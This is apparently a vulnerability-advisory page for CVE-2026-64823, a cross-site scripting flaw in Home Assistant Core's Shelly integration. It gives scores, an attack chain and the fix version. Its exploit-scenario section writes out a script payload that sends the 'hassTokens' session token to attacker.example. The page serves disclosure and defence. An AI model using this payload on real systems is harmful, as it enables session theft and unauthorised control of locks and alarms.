Skip to main content

Home Assistant Core CVE-2026-64823

| EUVDEUVD-2026-46280 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-07-21 VulnCheck GHSA-r3v5-j696-5grq
XSS Home Assistant Core
2.1
CVSS 4.0 · Vendor: VulnCheck

Severity by source

Vendor (VulnCheck) PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
4.7 MEDIUM

Network vector via Shelly device thumb field; high complexity due to required device control and user interaction; scope changes as HA web origin is impacted beyond the vulnerable Shelly component; no direct impact on the vulnerable system.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
A
Scope
X

Lifecycle Timeline

2
Source Code Evidence Fetched
Jul 21, 2026 - 15:49 vuln.today
Analysis Generated
Jul 21, 2026 - 15:49 vuln.today

DescriptionCVE.org

Home Assistant Core before 2026.5.4 contains a cross-site scripting vulnerability in the Shelly integration's async_get_media_image() method that allows attackers controlling a Shelly device's thumb field to serve arbitrary HTML content by supplying a data URI with a text/html content type without validation against an image-only allowlist. Attackers can cause the media player proxy endpoint to serve attacker-controlled bytes with Content-Type text/html in the Home Assistant web origin, enabling theft of session tokens from local storage and authenticated calls to sensitive service endpoints including lock, alarm, and cover controls.

AnalysisAI

Cross-site scripting in Home Assistant Core's Shelly integration allows an attacker who controls a Shelly device to execute arbitrary JavaScript in the Home Assistant web origin. The async_get_media_image() method fetches the device's thumb field without validating that the returned content is an image MIME type, permitting a malicious data:text/html URI to be proxied and re-served by the HA backend with Content-Type: text/html to the victim's browser. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Compromise or acquire integrated Shelly device
Delivery
Write malicious data:text/html URI to device thumb field
Exploit
Wait for authenticated HA user to load Shelly media player card
Execution
HA proxy re-serves attacker HTML in HA web origin
Persist
Injected script executes and exfiltrates localStorage session token
Impact
Use token for authenticated calls to lock, alarm, or cover service endpoints
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The attacker must control a Shelly device - by owning one, compromising its firmware or local API credentials, or supplying a rogue device - that is already added to the target's Home Assistant instance as an integrated entity. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 2.1 accurately reflects the real-world exploitation difficulty: high attack complexity (AC:H) requires the attacker to have pre-existing control over a Shelly device integrated into the target's HA instance, and active user interaction (UI:A) is required to trigger the proxy endpoint. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with control over a Shelly device already integrated into the victim's Home Assistant instance sets the device's `thumb` field to a `data:text/html,<script>document.location='https://attacker.example/steal?t='+encodeURIComponent(localStorage.getItem('hassTokens'))</script>` payload via the Shelly device's local API or management interface. When a logged-in HA user navigates to any dashboard panel rendering that Shelly entity's media player card, the HA backend proxies the `thumb` URI and delivers it to the user's browser with `Content-Type: text/html` scoped to the HA origin. …
Remediation Upgrade to Home Assistant Core 2026.5.4 or later; this release includes the fix from PR #171585 (commit 894a68acb678afc382fe5ea9002e61ab7f862011) which adds MIME type validation to `async_get_media_image()` enforcing an image-only allowlist. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Home Assistant Core

View all
CVE-2026-64824 CRITICAL
9.3 Jul 21

Path-traversal to remote code execution in Home Assistant Core before 2026.6.0 lets an authenticated user who can supply
CVE-2026-64825 CRITICAL
9.0 Jul 21

Arbitrary file write in Home Assistant Core before 2026.6.0 lets unauthenticated attackers plant attacker-controlled fil

Same weakness CWE-79 – Cross-site Scripting (XSS)

View all
CVE-2013-7389 MEDIUM POC
4.3
CVE-2021-25299 MEDIUM POC
6.1
CVE-2014-2120 MEDIUM
6.1
CVE-2023-40000 HIGH POC
8.3
CVE-2016-8581 MEDIUM POC
6.1
CVE-2013-5223 MEDIUM POC
5.4
CVE-2025-52367 MEDIUM POC
5.4
CVE-2015-0072 MEDIUM POC
4.3

Same technique XSS

View all
CVE-2017-9248 CRITICAL POC
9.8
CVE-2013-1710 CRITICAL POC
10.0
CVE-2013-7389 MEDIUM POC
4.3
CVE-2021-25299 MEDIUM POC
6.1
CVE-2014-2120 MEDIUM
6.1
CVE-2023-40000 HIGH POC
8.3
CVE-2024-52875 HIGH POC
8.8
CVE-2016-8581 MEDIUM POC
6.1

Share

CVE-2026-64823 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy